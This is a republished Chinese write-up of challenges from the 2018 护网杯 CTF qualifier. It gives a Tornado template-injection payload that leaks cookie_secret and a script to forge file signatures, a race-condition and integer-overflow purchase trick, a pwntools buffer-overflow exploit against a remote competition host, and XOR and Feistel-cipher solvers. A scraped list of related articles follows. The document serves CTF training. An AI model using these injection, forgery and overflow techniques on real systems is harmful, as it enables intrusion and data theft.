护网杯预选赛 WP
转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more

WEB easy tornado


打开链接是几个文件的列表,分别打开,关注url和内容

http://49.4.79.198:31809/file?filename=Orz.txt&signature=0434ba1fadd43ce31661c315fbb8a9c6

Orz.txt render()

http://49.4.79.198:31809/file?filename=hint.txt&signature=78423a4ae34f2a6e9088a35ef650af22

hint.txt md5(cookie_secret + md5(filename))

http://49.4.79.198:31809/file?filename=flag.txt&signature=dbc862f7ca4cd3dd4ba82c6e7ff6d6af

flag.txt /fllllllllllag

容易看出来,读文件的url就是,filename=(想读的文件名)加上一个签名,而签名是md5(cookie_secret + md5(filename))

问题就在于cookie_secret是什么。又看到Orz.txt里面有提示 render(),这个是生成模板的函数,于是想到模板注入STTI。

在读取文件失败的这个链接中,发现STTI漏洞:

http://49.4.79.198:31809/error?msg=xxxx


但是发现有过滤,测试一下发现,过滤的特殊字符有:

"%'()*-/=[\]_|

结合Tornado框架,想到的是:

在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,具体定义可以参考Tornado官方文档
这里我想将的是Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象!

于是payload为:

http://49.4.79.198:31809/error?msg={{handler.settings}}


得到cookie_secret,利用这个cookie_secret,可以写脚本,来获得相应文件的签名值。

import hashlibcookie_secret=r'WhzKS{Z.*~k)L@XEt3UT%GB04(NAV[l1ojuD!-?]2Hg<rx}QmnCOpJ9+c8>&qI6s'def md5(code): temp = hashlib.md5(str(code)).hexdigest() return tempfilename = '/fllllllllllag'res = md5(cookie_secret + md5(filename))print res# 89e9876bc11ab55dcf9e68d3a8877ae6

ltshop

注册账号,进入系统,发现我们有¥20

看一下要求

¥5一包辣条
5包辣条换一包辣条王
9999999包辣条王换flag

看到第三个要求,很容易想到不是常规解法,可能会用到溢出。

但是问题在于就算是溢出,我们也应该至少能换一个辣条之王才行,但是我们只有20元,只能买4包辣条,一个辣条之王也换不了。
这里算是纠结了一下,最后想到利用条件竞争,试验发现一个账户的两个登陆同时买辣条,只会扣一次钱,却会得到两个辣条。利用burpsuite进行条件竞争:
这里多设置几个线程

看到已经购买到很多的辣条

再看此时的账户,已经有足够的辣条了。

下面考虑溢出:

**

int: 2**32-1 = 4294967295
long: 2**63 -1 = 9223372036854775807
longlong: 2**64-1 = 18446744073709551615

**

但是要注意一点,这个题的逻辑是,numer*5<最大值

所以,其临界值应该为:18446744073709551615 / 5 == 3689348814741910323

于是尝试:3689348814741910323+1 == 3689348814741910324

溢出后的值比较小,在辣条的数量之内,从而兑换成功。

注意另一点,溢出的时候不能太大,因为太大导致溢出后的值过大而超过辣条的数量,出现这种情况

此时的账户:

再兑换flag,即可:

PWN

gettingstart

用 IDA 打开程序:

发现可以溢出 buf 从而修改掉 v7 和 v8 的值来通过验证,所以构造利用脚本:

from pwn import *#p = process("./get")p = remote("49.4.78.31",30482)#gdb.attach(p)p.recv()payload = 'a' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)p.sendline(payload)p.interactive()

得到 flag :flag{e47ba37e5e4fe4d6538f91955c63ef23}

Misc

迟来的签到题

easy xor???

提示xor,base64解码后异或

写个脚本爆破下
import base64

str=base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')for n in range(30,126): flag='' for i in str: flag+= chr(ord(i)^n) if 'flag' in flag: print flag

Crypto

fez

fez.py

import osdef xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i])) return cdef f(x,k): return xor(xor(x,k),7)def round(M,K): L=M[0:27] R=M[27:54] new_l=R new_r=xor(xor(R,L),K) return new_l+new_rdef fez(m,K): for i in K: m=round(m,i) return mK=[]for i in range(7): K.append(os.urandom(27))m=open("flag","rb").read()assert len(m)<54m+=os.urandom(54-len(m))test=os.urandom(54)print test.encode("hex")print fez(test,K).encode("hex")print fez(m,K).encode("hex")

fez.log

048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7
69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8
32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2

Feistel加密方法,轮函数也是异或

这里给出了print出的值,所以知道

**

test的值 记为testtest加密的值 记为 testansflag加密的值 记为ans

**

test和用flag填充的m的长度都为54

加密使用的K值是不知道的,所以写不出解密函数,但可以通过给出的testans与ans异或使K消掉

记最后一轮flag加密后的为L7和R7,test加密的为tL7和tR7,初始test为tL0和tR0

则ai=tLi^Li=tRi+1^Ri+1^tLi+1^Li+1

而且Ri=Li+1

所以ai=ai+1^tLi+1^Li+1

最终得到L0和R0

exp

import os def xor(a,b):

assert len(a)==len(b)c=""for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i]))return c

test='048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7'.decode('hex')
testans='69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8'.decode('hex')
ans='32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2'.decode('hex')

tL7=testans[0:27] tR7=testans[27:54] L7=ans[0:27] R7=ans[27:54]

tL0=test[27:54] tR0=test[0:27]

a6=tR7^R7^tL7^L7^tR1

tL6^L6 a6=xor(xor(tR7,R7),xor(tL7,L7))

a5=xor(xor(tL7,L7),a6)

a4=xor(a6,a5)

a3=xor(a5,a4)

a2=xor(a4,a3)

a1=xor(a3,a2)

a0=xor(a2,a1)

L0=xor(tL0,a1)

R0=xor(tR0,a0)

print R0+L0

运行结果:

**λ python fez_exp.py
flag{festel_weak_666_lol88fj3820}叡↓泺y蝵:;铸醛o磋萸?**

 

护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~的更多相关文章

  1. NGK英国路演圆满结束,未来科技布局看好NGK公链技术

    近日,NGK全球路演英国站在首都伦敦圆满结束.区块链业内专家.各投行精英.各市场节点代表.八大产业代表参加了此次路演.同时,英国经济学人.每日邮报.金融时报等近百家财经媒体对此路演进行了大力报道.并且 ...

  2. 2016年象行中国(上海站)圆满结束,会议PPT分享

    2016年象行中国(上海站)已于5-21日圆满结束,所有技术交流的文档和PPT经整理后,现集中存放在云盘中,相关议题如下:     DeepGreen-LLVM-Intro.pptx ... 1.1M ...

  3. 深圳测试研讨会圆满结束,PPT共享

    深圳测试研讨会圆满结束,PPT共享http://www.automationqa.com/forum.php?mod=viewthread&tid=3417&fromuid=29

  4. 深圳安全研讨会圆满结束,PPT共享下载

    深圳安全研讨会圆满结束,PPT共享下载: http://pan.baidu.com/s/19XFtO

  5. 2019护网杯baby_forensic

    题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...

  6. buu[护网杯 2018]easy_tornado

    [护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...

  7. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  8. 灵雀云新一期DevOps认证培训圆满结束,下期学员招募同步开启

    近日,灵雀云最新一期EXIN DevOps认证培训在北京圆满结束,来自某知名运营商领域ISV的近40名学员以百分百的通过率为此次培训画上圆满的句号. 灵雀云是国内首家在DevOps培训领域与EXIN合 ...

  9. 护网杯一道crypto

    import os def xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i] ...

随机推荐

  1. jboss & eclipse 集成

    * 前提:       * 安装了 eclipse-jee-3.5.1       * 解压了 jboss5.1       * * "jboss tools" - "J ...

  2. 7.25 11figting!

    TEXT 76 Start of the long march 而今迈步从头越(陈继龙编译) Nov 16th 2006 | BEIJING AND HONG KONG From The Econom ...

  3. (4)activiti工作流引擎之uel表达式

    有了前面几章,我们肯定有一定的困惑,activiti如何与实际业务整合,比如一条采购单,如何跟一个流程实例互相关联起来? 这里就需要使用到activiti启动流程实例时设置一个流程实例的busines ...

  4. iOS开发者有价值的工具集

    转载于:http://www.cocoachina.com/applenews/devnews/2014/0307/7936.html 我一直比较推崇聪明地工作要远胜于刻苦地工作.使用正确的工具可以帮 ...

  5. Unix高级编程Note2

    [Unix Note2] 1.信号屏蔽 2.信号不会排队,即产生同时产生10次,会被合并为1次. 3.sigsuspend,sigsuspend后,进程就挂在那里,等待着开放的信号的唤醒.系统在接收到 ...

  6. Exception in thread "main" java.lang.UnsatisfiedLinkError:

    [oracle@landor database]$ ./runInstaller 正在启动 Oracle Universal Installer... 检查临时空间: 必须大于 MB. 实际为 MB ...

  7. [leetcode]301. Remove Invalid Parentheses 去除无效括号

    Remove the minimum number of invalid parentheses in order to make the input string valid. Return all ...

  8. Create Empty Project In Vs But Not Debug?

    问题描述 在使用VS创建一个空的项目管理,然后,添加项目.可是,这个时候,项目虽然可以运行,但是不能Debug进行调试. 解决方法 按照下面三张图像的设置即可.

  9. win10系统的快捷键

    1.win10特有的快捷键:任务视图和虚拟桌面相关 (1)Win + Tab:查看任务视图 (2)Win + Ctrl + D:在任务视图中新建虚拟桌面 (3)Win + Ctrl + F4:关闭当前 ...

  10. SQL获取当前日期的年、月、日、时、分、秒数据

    SQL Server中获取当前日期的年.月.日.时.分.秒数据: SELECT GETDATE() as '当前日期',DateName(year,GetDate()) as '年',DateName ...